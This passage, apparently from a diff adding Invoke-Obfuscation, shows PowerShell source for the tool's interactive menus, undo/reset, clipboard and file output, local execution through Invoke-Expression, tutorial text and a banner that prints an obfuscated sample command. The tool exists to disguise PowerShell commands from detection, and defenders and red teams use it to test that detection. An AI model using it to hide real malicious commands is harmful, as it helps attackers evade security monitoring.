$ObfLevel + + # Only set LauncherApplied to true if before/after are different (i.e. no warnings prevented launcher from being applied). + If($ObfuscatedCommandBefore -ne $Script:ObfuscatedCommand) + { + $Script:LauncherApplied = $TRUE + } + } + default {Write-Error "An invalid `$Function value ($Function) was passed to switch block."; Exit;} + } + + If(($Script:ObfuscatedCommand -ceq $ObfuscatedCommandBefore) -AND ($MenuName.StartsWith('_Token_'))) + { + Write-Host "`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " There were not any" -NoNewLine + If($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1).ToLower() -ne 'all') {Write-Host " $($BreadCrumb.SubString($BreadCrumb.LastIndexOf('\')+1))" -NoNewLine -ForegroundColor Yellow} + Write-Host " tokens to further obfuscate, so nothing changed." + } + Else + { + # Add to $Script:ObfuscatedCommandHistory if a change took place for the current ObfuscatedCommand. + $Script:ObfuscatedCommandHistory += , $Script:ObfuscatedCommand + + # Convert UserInput to CLI syntax to store in CliSyntax variable if obfuscation occurred. + $CliSyntaxCurrentCommand = $UserInput.Trim('_ ').Replace('_','\') + + # Add CLI command syntax to $Script:CliSyntax to maintain a history of commands to arrive at current obfuscated command for CLI syntax. + $Script:CliSyntax += $CliSyntaxCurrentCommand + + # Add execution syntax to $Script:ExecutionCommands to maintain a history of commands to arrive at current obfuscated command. + $Script:ExecutionCommands += ($CmdToPrint[0] + '$ScriptBlock' + $CmdToPrint[1]) + + # Output syntax of CLI syntax and full command we executed in above Switch block. + Write-Host "`nExecuted:`t" + Write-Host " CLI: " -NoNewline + Write-Host $CliSyntaxCurrentCommand -ForegroundColor Cyan + Write-Host " FULL: " -NoNewline + Write-Host $CmdToPrint[0] -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + Write-Host $CmdToPrint[1] -ForegroundColor Cyan + + # Output obfuscation result. + Write-Host "`nResult:`t" + Out-ScriptContents $Script:ObfuscatedCommand -PrintWarning + } + } + } + } + Else + { + Return $UserInput + } + } + Else + { + If ($MenuInputOptionsShowHelp[0] -Contains $UserInput) {Show-HelpMenu} + ElseIf($MenuInputOptionsShowOptions[0] -Contains $UserInput) {Show-OptionsMenu} + ElseIf($TutorialInputOptions[0] -Contains $UserInput) {Show-Tutorial} + ElseIf($ClearScreenInputOptions[0] -Contains $UserInput) {Clear-Host} + # For Version 1.0 ASCII art is not necessary. + #ElseIf($ShowAsciiArtInputOptions[0] -Contains $UserInput) {Show-AsciiArt -Random} + ElseIf($ResetObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to reset." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to reset." + } + Else + { + $Script:LauncherApplied = $FALSE + $Script:ObfuscatedCommand = $Script:ScriptBlock + $Script:ObfuscatedCommandHistory = @($Script:ScriptBlock) + $Script:CliSyntax = @() + $Script:ExecutionCommands = @() + + Write-Host "`n`nSuccessfully reset ObfuscatedCommand." -ForegroundColor Cyan + } + } + ElseIf($UndoObfuscationInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne $NULL) -AND ($Script:ObfuscatedCommand.Length -eq 0)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " ObfuscatedCommand has not been set. There is nothing to undo." + } + ElseIf($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " No obfuscation has been applied to ObfuscatedCommand. There is nothing to undo." + } + Else + { + # Set ObfuscatedCommand to the last state in ObfuscatedCommandHistory. + $Script:ObfuscatedCommand = $Script:ObfuscatedCommandHistory[$Script:ObfuscatedCommandHistory.Count-2] + + # Remove the last state from ObfuscatedCommandHistory. + $Temp = $Script:ObfuscatedCommandHistory + $Script:ObfuscatedCommandHistory = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ObfuscatedCommandHistory += $Temp[$i] + } + + # Remove last command from CliSyntax. Trim all trailing OUT or CLIP commands until an obfuscation command is removed. + $CliSyntaxCount = $Script:CliSyntax.Count + While(($Script:CliSyntax[$CliSyntaxCount-1] -Match '^(clip|out )') -AND ($CliSyntaxCount -gt 0)) + { + $CliSyntaxCount-- + } + $Temp = $Script:CliSyntax + $Script:CliSyntax = @() + For($i=0; $i -lt $CliSyntaxCount-1; $i++) + { + $Script:CliSyntax += $Temp[$i] + } + + # Remove last command from ExecutionCommands. + $Temp = $Script:ExecutionCommands + $Script:ExecutionCommands = @() + For($i=0; $i -lt $Temp.Count-1; $i++) + { + $Script:ExecutionCommands += $Temp[$i] + } + + # If this is removing a launcher then we must change the launcher state so we can continue obfuscating. + If($Script:LauncherApplied) + { + $Script:LauncherApplied = $FALSE + Write-Host "`n`nSuccessfully removed launcher from ObfuscatedCommand." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully removed last obfuscation from ObfuscatedCommand." -ForegroundColor Cyan + } + } + } + ElseIf(($OutputToDiskInputOptions[0] -Contains $UserInput) -OR ($OutputToDiskInputOptions[0] -Contains $UserInput.Trim().Split(' ')[0])) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Get file path information from compound user input (e.g. OUT C:\FILENAME.TXT). + If($UserInput.Trim().Split(' ').Count -gt 1) + { + # Get file path information from user input. + $UserInputOutputFilePath = $UserInput.Trim().SubString(4).Trim() + Write-Host '' + } + Else + { + # Get file path information from user interactively. + $UserInputOutputFilePath = Read-Host "`n`nEnter path for output file (or leave blank for default)" + } + # Decipher if user input a full file path, just a file name or nothing (default). + If($UserInputOutputFilePath.Trim() -eq '') + { + # User did not input anything so use default filename and current directory of this script. + $OutputFilePath = "$ScriptDir\Obfuscated_Command.txt" + } + ElseIf(!($UserInputOutputFilePath.Contains('\')) -AND !($UserInputOutputFilePath.Contains('/'))) + { + # User input is not a file path so treat it as a filename and use current directory of this script. + $OutputFilePath = "$ScriptDir\$($UserInputOutputFilePath.Trim())" + } + Else + { + # User input is a full file path. + $OutputFilePath = $UserInputOutputFilePath + } + + # Write ObfuscatedCommand out to disk. + $Script:ObfuscatedCommand | Out-File $OutputFilePath -Encoding ASCII + + If($Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host ".`nA Launcher has been applied so this script cannot be run as a standalone .ps1 file." -ForegroundColor Cyan + If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath } + } + ElseIf(!$Script:LauncherApplied -AND (Test-Path $OutputFilePath)) + { + $Script:CliSyntax += "out $OutputFilePath" + Write-Host "`nSuccessfully output ObfuscatedCommand to" -NoNewLine -ForegroundColor Cyan + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + Write-Host "." -ForegroundColor Cyan + If($Env:windir) { C:\Windows\Notepad.exe $OutputFilePath } + } + Else + { + Write-Host "`nERROR: Unable to write ObfuscatedCommand out to" -NoNewLine -ForegroundColor Red + Write-Host " $OutputFilePath" -NoNewLine -ForegroundColor Yellow + } + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to write out to disk.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + } + ElseIf($CopyToClipboardInputOptions[0] -Contains $UserInput) + { + If(($Script:ObfuscatedCommand -ne '') -AND ($Script:ObfuscatedCommand -ceq $Script:ScriptBlock)) + { + Write-Host "`n`nWARNING:" -NoNewLine -ForegroundColor Red + Write-Host " You haven't applied any obfuscation.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + # Copy ObfuscatedCommand to clipboard. + # Try-Catch block introduced since PowerShell v2.0 without -STA defined will not be able to perform clipboard functionality. + Try + { + $Null = [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") + [Windows.Forms.Clipboard]::SetText($Script:ObfuscatedCommand) + + If($Script:LauncherApplied) + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard." -ForegroundColor Cyan + } + Else + { + Write-Host "`n`nSuccessfully copied ObfuscatedCommand to clipboard.`nNo Launcher has been applied, so command can only be pasted into powershell.exe." -ForegroundColor Cyan + } + } + Catch + { + $ErrorMessage = "Clipboard functionality will not work in PowerShell version $($PsVersionTable.PsVersion.Major) unless you add -STA (Single-Threaded Apartment) execution flag to powershell.exe." + + If((Get-Command Write-Host).CommandType -ne 'Cmdlet') + { + # Retrieving Write-Host and Start-Sleep Cmdlets to get around the current proxy functions of Write-Host and Start-Sleep that are overloaded if -Quiet flag was used. + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) "`n`nWARNING: " -NoNewLine -ForegroundColor Red + . ((Get-Command Write-Host) | Where-Object {$_.CommandType -eq 'Cmdlet'}) $ErrorMessage -NoNewLine + + . ((Get-Command Start-Sleep) | Where-Object {$_.CommandType -eq 'Cmdlet'}) 2 + } + Else + { + Write-Host "`n`nWARNING: " -NoNewLine -ForegroundColor Red + Write-Host $ErrorMessage + + If($Script:CliSyntax -gt 0) {Start-Sleep 2} + } + } + + $Script:CliSyntax += 'clip' + } + ElseIf($Script:ObfuscatedCommand -eq '') + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " There isn't anything to copy to your clipboard.`n Just enter" -NoNewLine + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " and look at ObfuscatedCommand." -NoNewLine + } + + } + ElseIf($ExecutionInputOptions[0] -Contains $UserInput) + { + If($Script:LauncherApplied) + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have applied a Launcher.`n Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForeGroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForeGroundColor Yellow + Write-Host " and paste into cmd.exe.`n Or enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForeGroundColor Yellow + Write-Host " to remove the Launcher from ObfuscatedCommand." + } + ElseIf($Script:ObfuscatedCommand -ne '') + { + If($Script:ObfuscatedCommand -ceq $Script:ScriptBlock) {Write-Host "`n`nInvoking (though you haven't obfuscated anything yet):"} + Else {Write-Host "`n`nInvoking:"} + + Out-ScriptContents $Script:ObfuscatedCommand + Write-Host '' + $null = Invoke-Expression $Script:ObfuscatedCommand + } + Else { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " Cannot execute because you have not set ScriptPath or ScriptBlock.`n Enter" -NoNewline + Write-Host " SHOW OPTIONS" -NoNewLine -ForegroundColor Yellow + Write-Host " to set ScriptPath or ScriptBlock." + } + } + Else + { + Write-Host "`n`nERROR:" -NoNewLine -ForegroundColor Red + Write-Host " You entered an invalid option. Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host " for more information." + + # If the failed input was part of $Script:CompoundCommand then cancel out the rest of the compound command so it is not further processed. + If($Script:CompoundCommand.Count -gt 0) + { + $Script:CompoundCommand = @() + } + + # Output all available/acceptable options for current menu if invalid input was entered. + If($AcceptableInput.Count -gt 1) + { + $Message = 'Valid options for current menu include:' + } + Else + { + $Message = 'Valid option for current menu includes:' + } + Write-Host " $Message " -NoNewLine + + $Counter=0 + ForEach($AcceptableOption in $AcceptableInput) + { + $Counter++ + + # Change color and verbiage if acceptable options will execute an obfuscation function. + If($SelectionContainsCommand) + { + $ColorToOutput = 'Green' + } + Else + { + $ColorToOutput = 'Yellow' + } + + Write-Host $AcceptableOption -NoNewLine -ForegroundColor $ColorToOutput + If(($Counter -lt $AcceptableInput.Length) -AND ($AcceptableOption.Length -gt 0)) + { + Write-Host ', ' -NoNewLine + } + } + Write-Host '' + } + } + } + + Return $UserInput.ToLower() +} + + +Function Show-OptionsMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays options menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-OptionsMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-OptionsMenu displays options menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-OptionsMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Set potentially-updated script-level values in $Script:OptionsMenu before displaying. + $Counter = 0 + ForEach($Line in $Script:OptionsMenu) + { + If($Line[0].ToLower().Trim() -eq 'scriptpath') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptPath} + If($Line[0].ToLower().Trim() -eq 'scriptblock') {$Script:OptionsMenu[$Counter][1] = $Script:ScriptBlock} + If($Line[0].ToLower().Trim() -eq 'commandlinesyntax') {$Script:OptionsMenu[$Counter][1] = $Script:CliSyntax} + If($Line[0].ToLower().Trim() -eq 'executioncommands') {$Script:OptionsMenu[$Counter][1] = $Script:ExecutionCommands} + If($Line[0].ToLower().Trim() -eq 'obfuscatedcommand') + { + # Only add obfuscatedcommand if it is different than scriptblock (to avoid showing obfuscatedcommand before it has been obfuscated). + If($Script:ObfuscatedCommand -cne $Script:ScriptBlock) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + If($Line[0].ToLower().Trim() -eq 'obfuscationlength') + { + # Only set/display ObfuscationLength if there is an obfuscated command. + If(($Script:ObfuscatedCommand.Length -gt 0) -AND ($Script:ObfuscatedCommand -cne $Script:ScriptBlock)) {$Script:OptionsMenu[$Counter][1] = $Script:ObfuscatedCommand.Length} + Else {$Script:OptionsMenu[$Counter][1] = ''} + } + + $Counter++ + } + + # Output menu. + Write-Host "`n`nSHOW OPTIONS" -NoNewLine -ForegroundColor Cyan + Write-Host " ::" -NoNewLine + Write-Host " Yellow" -NoNewLine -ForegroundColor Yellow + Write-Host " options can be set by entering" -NoNewLine + Write-Host " SET OPTIONNAME VALUE" -NoNewLine -ForegroundColor Green + Write-Host ".`n" + ForEach($Option in $Script:OptionsMenu) + { + $OptionTitle = $Option[0] + $OptionValue = $Option[1] + $CanSetValue = $Option[2] + + Write-Host $LineSpacing -NoNewLine + + # For options that can be set by user, output as Yellow. + If($CanSetValue) {Write-Host $OptionTitle -NoNewLine -ForegroundColor Yellow} + Else {Write-Host $OptionTitle -NoNewLine} + Write-Host ": " -NoNewLine + + # Handle coloring and multi-value output for ExecutionCommands and ObfuscationLength. + If($OptionTitle -eq 'ObfuscationLength') + { + Write-Host $OptionValue -ForegroundColor Cyan + } + ElseIf($OptionTitle -eq 'ScriptBlock') + { + Out-ScriptContents $OptionValue + } + ElseIf($OptionTitle -eq 'CommandLineSyntax') + { + # CLISyntax output. + $SetSyntax = '' + If(($Script:ScriptPath.Length -gt 0) -AND ($Script:ScriptPath -ne 'N/A')) + { + $SetSyntax = " -ScriptPath '$Script:ScriptPath'" + } + ElseIf(($Script:ScriptBlock.Length -gt 0) -AND ($Script:ScriptPath -eq 'N/A')) + { + $SetSyntax = " -ScriptBlock {$Script:ScriptBlock}" + } + + $CommandSyntax = '' + If($OptionValue.Count -gt 0) + { + $CommandSyntax = " -Command '" + ($OptionValue -Join ',') + "' -Quiet" + } + + If(($SetSyntax -ne '') -OR ($CommandSyntax -ne '')) + { + $CliSyntaxToOutput = "Invoke-Obfuscation" + $SetSyntax + $CommandSyntax + Write-Host $CliSyntaxToOutput -ForegroundColor Cyan + } + Else + { + Write-Host '' + } + } + ElseIf($OptionTitle -eq 'ExecutionCommands') + { + # ExecutionCommands output. + If($OptionValue.Count -gt 0) {Write-Host ''} + $Counter = 0 + ForEach($ExecutionCommand in $OptionValue) + { + $Counter++ + If($ExecutionCommand.Length -eq 0) {Write-Host ''; Continue} + + $ExecutionCommand = $ExecutionCommand.Replace('$ScriptBlock','~').Split('~') + Write-Host " $($ExecutionCommand[0])" -NoNewLine -ForegroundColor Cyan + Write-Host '$ScriptBlock' -NoNewLine -ForegroundColor Magenta + + # Handle output formatting when SHOW OPTIONS is run. + If(($OptionValue.Count -gt 0) -AND ($Counter -lt $OptionValue.Count)) + { + Write-Host $ExecutionCommand[1] -ForegroundColor Cyan + } + Else + { + Write-Host $ExecutionCommand[1] -NoNewLine -ForegroundColor Cyan + } + + } + Write-Host '' + } + ElseIf($OptionTitle -eq 'ObfuscatedCommand') + { + Out-ScriptContents $OptionValue + } + Else + { + Write-Host $OptionValue -ForegroundColor Magenta + } + } + +} + + +Function Show-HelpMenu +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays help menu for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-HelpMenu +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-HelpMenu displays help menu for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-HelpMenu + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + # Show Help Menu. + Write-Host "`n`nHELP MENU" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Available" -NoNewLine + Write-Host " options" -NoNewLine -ForegroundColor Yellow + Write-Host " shown below:`n" + ForEach($InputOptionsList in $AllAvailableInputOptionsLists) + { + $InputOptionsCommands = $InputOptionsList[0] + $InputOptionsDescription = $InputOptionsList[1] + + # Add additional coloring to string encapsulated by <> if it exists in $InputOptionsDescription. + If($InputOptionsDescription.Contains('<') -AND $InputOptionsDescription.Contains('>')) + { + $FirstPart = $InputOptionsDescription.SubString(0,$InputOptionsDescription.IndexOf('<')) + $MiddlePart = $InputOptionsDescription.SubString($FirstPart.Length+1) + $MiddlePart = $MiddlePart.SubString(0,$MiddlePart.IndexOf('>')) + $LastPart = $InputOptionsDescription.SubString($FirstPart.Length+$MiddlePart.Length+2) + Write-Host "$LineSpacing $FirstPart" -NoNewLine + Write-Host $MiddlePart -NoNewLine -ForegroundColor Cyan + Write-Host $LastPart -NoNewLine + } + Else + { + Write-Host "$LineSpacing $InputOptionsDescription" -NoNewLine + } + + $Counter = 0 + ForEach($Command in $InputOptionsCommands) + { + $Counter++ + Write-Host $Command.ToUpper() -NoNewLine -ForegroundColor Yellow + If($Counter -lt $InputOptionsCommands.Count) {Write-Host ',' -NoNewLine} + } + Write-Host '' + } +} + + +Function Show-Tutorial +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays tutorial information for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-Tutorial +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-Tutorial displays tutorial information for Invoke-Obfuscation. + +.EXAMPLE + +C:\PS> Show-Tutorial + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Write-Host "`n`nTUTORIAL" -NoNewLine -ForegroundColor Cyan + Write-Host " :: Here is a quick tutorial showing you how to get your obfuscation on:" + + Write-Host "`n1) " -NoNewLine -ForegroundColor Cyan + Write-Host "Load a scriptblock (SET SCRIPTBLOCK) or a script path/URL (SET SCRIPTPATH)." + Write-Host " SET SCRIPTBLOCK Write-Host 'This is my test command' -ForegroundColor Green" -ForegroundColor Green + + Write-Host "`n2) " -NoNewLine -ForegroundColor Cyan + Write-Host "Navigate through the obfuscation menus where the options are in" -NoNewLine + Write-Host " YELLOW" -NoNewLine -ForegroundColor Yellow + Write-Host "." + Write-Host " GREEN" -NoNewLine -ForegroundColor Green + Write-Host " options apply obfuscation." + Write-Host " Enter" -NoNewLine + Write-Host " BACK" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CD .." -NoNewLine -ForegroundColor Yellow + Write-Host " to go to previous menu and" -NoNewLine + Write-Host " HOME" -NoNewline -ForegroundColor Yellow + Write-Host "/" -NoNewline + Write-Host "MAIN" -NoNewline -ForegroundColor Yellow + Write-Host " to go to home menu.`n E.g. Enter" -NoNewLine + Write-Host " ENCODING" -NoNewLine -ForegroundColor Yellow + Write-Host " & then" -NoNewLine + Write-Host " 5" -NoNewLine -ForegroundColor Green + Write-Host " to apply SecureString obfuscation." + + Write-Host "`n3) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " TEST" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "EXEC" -NoNewLine -ForegroundColor Yellow + Write-Host " to test the obfuscated command locally.`n Enter" -NoNewLine + Write-Host " SHOW" -NoNewLine -ForegroundColor Yellow + Write-Host " to see the currently obfuscated command." + + Write-Host "`n4) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " COPY" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "CLIP" -NoNewLine -ForegroundColor Yellow + Write-Host " to copy obfuscated command out to your clipboard." + Write-Host " Enter" -NoNewLine + Write-Host " OUT" -NoNewLine -ForegroundColor Yellow + Write-Host " to write obfuscated command out to disk." + + Write-Host "`n5) " -NoNewLine -ForegroundColor Cyan + Write-Host "Enter" -NoNewLine + Write-Host " RESET" -NoNewLine -ForegroundColor Yellow + Write-Host " to remove all obfuscation and start over.`n Enter" -NoNewLine + Write-Host " UNDO" -NoNewLine -ForegroundColor Yellow + Write-Host " to undo last obfuscation.`n Enter" -NoNewLine + Write-Host " HELP" -NoNewLine -ForegroundColor Yellow + Write-Host "/" -NoNewLine + Write-Host "?" -NoNewLine -ForegroundColor Yellow + Write-Host " for help menu." + + Write-Host "`nAnd finally the obligatory `"Don't use this for evil, please`"" -NoNewLine -ForegroundColor Cyan + Write-Host " :)" -ForegroundColor Green +} + + +Function Out-ScriptContents +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays current obfuscated command for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Out-ScriptContents +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Out-ScriptContents displays current obfuscated command for Invoke-Obfuscation. + +.PARAMETER ScriptContents + +Specifies the string containing your payload. + +.PARAMETER PrintWarning + +Switch to output redacted form of ScriptContents if they exceed 8,190 characters. + +.EXAMPLE + +C:\PS> Out-ScriptContents + +.NOTES + +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + + Param( + [Parameter(ValueFromPipeline = $true)] + [String] + $ScriptContents, + + [Switch] + $PrintWarning + ) + + If($ScriptContents.Length -gt $CmdMaxLength) + { + # Output ScriptContents, handling if the size of ScriptContents exceeds $CmdMaxLength characters. + $RedactedPrintLength = $CmdMaxLength/5 + + # Handle printing redaction message in middle of screen. #OCD + $CmdLineWidth = (Get-Host).UI.RawUI.BufferSize.Width + $RedactionMessage = "" + $CenteredRedactionMessageStartIndex = (($CmdLineWidth-$RedactionMessage.Length)/2) - "[*] ObfuscatedCommand: ".Length + $CurrentRedactionMessageStartIndex = ($RedactedPrintLength % $CmdLineWidth) + + If($CurrentRedactionMessageStartIndex -gt $CenteredRedactionMessageStartIndex) + { + $RedactedPrintLength = $RedactedPrintLength-($CurrentRedactionMessageStartIndex-$CenteredRedactionMessageStartIndex) + } + Else + { + $RedactedPrintLength = $RedactedPrintLength+($CenteredRedactionMessageStartIndex-$CurrentRedactionMessageStartIndex) + } + + Write-Host $ScriptContents.SubString(0,$RedactedPrintLength) -NoNewLine -ForegroundColor Magenta + Write-Host $RedactionMessage -NoNewLine -ForegroundColor Yellow + Write-Host $ScriptContents.SubString($ScriptContents.Length-$RedactedPrintLength) -ForegroundColor Magenta + } + Else + { + Write-Host $ScriptContents -ForegroundColor Magenta + } + + # Make sure final command doesn't exceed cmd.exe's character limit. + If($ScriptContents.Length -gt $CmdMaxLength) + { + If($PSBoundParameters['PrintWarning']) + { + Write-Host "`nWARNING: This command exceeds the cmd.exe maximum length of $CmdMaxLength." -ForegroundColor Red + Write-Host " Its length is" -NoNewLine -ForegroundColor Red + Write-Host " $($ScriptContents.Length)" -NoNewLine -ForegroundColor Yellow + Write-Host " characters." -ForegroundColor Red + } + } +} + + +Function Show-AsciiArt +{ +<# +.SYNOPSIS + +HELPER FUNCTION :: Displays random ASCII art for Invoke-Obfuscation. + +Invoke-Obfuscation Function: Show-AsciiArt +Author: Daniel Bohannon (@danielhbohannon) +License: Apache License, Version 2.0 +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Show-AsciiArt displays random ASCII art for Invoke-Obfuscation, and also displays ASCII art during script startup. + +.EXAMPLE + +C:\PS> Show-AsciiArt + +.NOTES + +Credit for ASCII art font generation: http://patorjk.com/software/taag/ +This is a personal project developed by Daniel Bohannon while an employee at MANDIANT, A FireEye Company. + +.LINK + +http://www.danielbohannon.com +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [Switch] + $Random + ) + + # Create multiple ASCII art title banners. + $Spacing = "`t" + $InvokeObfuscationAscii = @() + $InvokeObfuscationAscii += $Spacing + ' ____ __ ' + $InvokeObfuscationAscii += $Spacing + ' / _/___ _ ______ / /_____ ' + $InvokeObfuscationAscii += $Spacing + ' / // __ \ | / / __ \/ //_/ _ \______ ' + $InvokeObfuscationAscii += $Spacing + ' _/ // / / / |/ / /_/ / ,< / __/_____/ ' + $InvokeObfuscationAscii += $Spacing + '/______ /__|_________/_/|_|\___/ __ _ ' + $InvokeObfuscationAscii += $Spacing + ' / __ \/ /_ / __/_ ________________ _/ /_(_)___ ____ ' + $InvokeObfuscationAscii += $Spacing + ' / / / / __ \/ /_/ / / / ___/ ___/ __ `/ __/ / __ \/ __ \' + $InvokeObfuscationAscii += $Spacing + '/ /_/ / /_/ / __/ /_/ (__ ) /__/ /_/ / /_/ / /_/ / / / /' + $InvokeObfuscationAscii += $Spacing + '\____/_.___/_/ \__,_/____/\___/\__,_/\__/_/\____/_/ /_/ ' + + # Ascii art to run only during script startup. + If(!$PSBoundParameters['Random']) + { + $ArrowAscii = @() + $ArrowAscii += ' | ' + $ArrowAscii += ' | ' + $ArrowAscii += ' \ / ' + $ArrowAscii += ' V ' + + # Show actual obfuscation example (generated with this tool) in reverse. + Write-Host "`nIEX( ( '36{78Q55@32t61_91{99@104X97{114Q91-32t93}32t93}32t34@110m111@105}115X115-101m114_112@120@69-45{101@107X111m118m110-73Q124Q32X41Q57@51-93Q114_97_104t67t91{44V39Q112_81t109@39}101{99@97}108{112}101}82_45m32_32X52{51Q93m114@97-104{67t91t44t39V98t103V48t39-101}99}97V108}112t101_82_45{32@41X39{41_112t81_109_39m43{39-110t101@112{81t39X43@39t109_43t112_81Q109t101X39Q43m39}114Q71_112{81m109m39@43X39V32Q40}32m39_43_39{114-111m108t111t67{100m110{117Q39_43m39-111-114Q103_101t114@39m43-39{111t70-45}32m41}98{103V48V110Q98t103{48@39{43{39-43{32t98m103_48{111@105t98@103V48-39@43{39_32-32V43V32}32t98t103@48X116m97V99t98X103t48_39V43m39@43-39X43Q39_98@103@48}115V117V102Q98V79m45@98m39Q43{39X103_39X43Q39V48}43-39}43t39}98-103{48V101_107Q39t43X39_111X118X110V39X43}39t98_103{48@43}32_98{103}48{73{98-39@43t39m103_39}43{39{48Q32t39X43X39-32{40V32t41{39Q43V39m98X103{39_43V39{48-116{115Q79{39_43_39}98}103m48{39Q43t39X32X43{32_98@103-39@43m39X48_72-39_43t39V45m39t43Q39_101Q98}103_48-32_39Q43V39V32t39V43}39m43Q32V98X39Q43_39@103_48V39@43Q39@116X73t82V119m98-39{43_39}103Q48X40_46_32m39}40_40{34t59m91@65V114V114@97_121}93Q58Q58V82Q101Q118Q101{114}115_101m40_36_78m55@32t41t32-59{32}73{69V88m32{40t36V78t55}45Q74m111@105-110m32X39V39-32}41'.SpLiT( '{_Q-@t}mXV' ) |ForEach-Object { ([Int]`$_ -AS [Char]) } ) -Join'' )" -ForegroundColor Cyan + Start-Sleep -Milliseconds 650 + ForEach($Line in $ArrowAscii) {Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line -NoNewline; Write-Host $Line} + Start-Sleep -Milliseconds 100 + + Write-Host "`$N7 =[char[ ] ] `"noisserpxE-ekovnI| )93]rahC[,'pQm'ecalpeR- 43]rahC[,'bg0'ecalpeR- )')pQm'+'nepQ'+'m+pQme'+'rGpQm'+' ( '+'roloCdnu'+'orger'+'oF- )bg0nbg0'+'+ 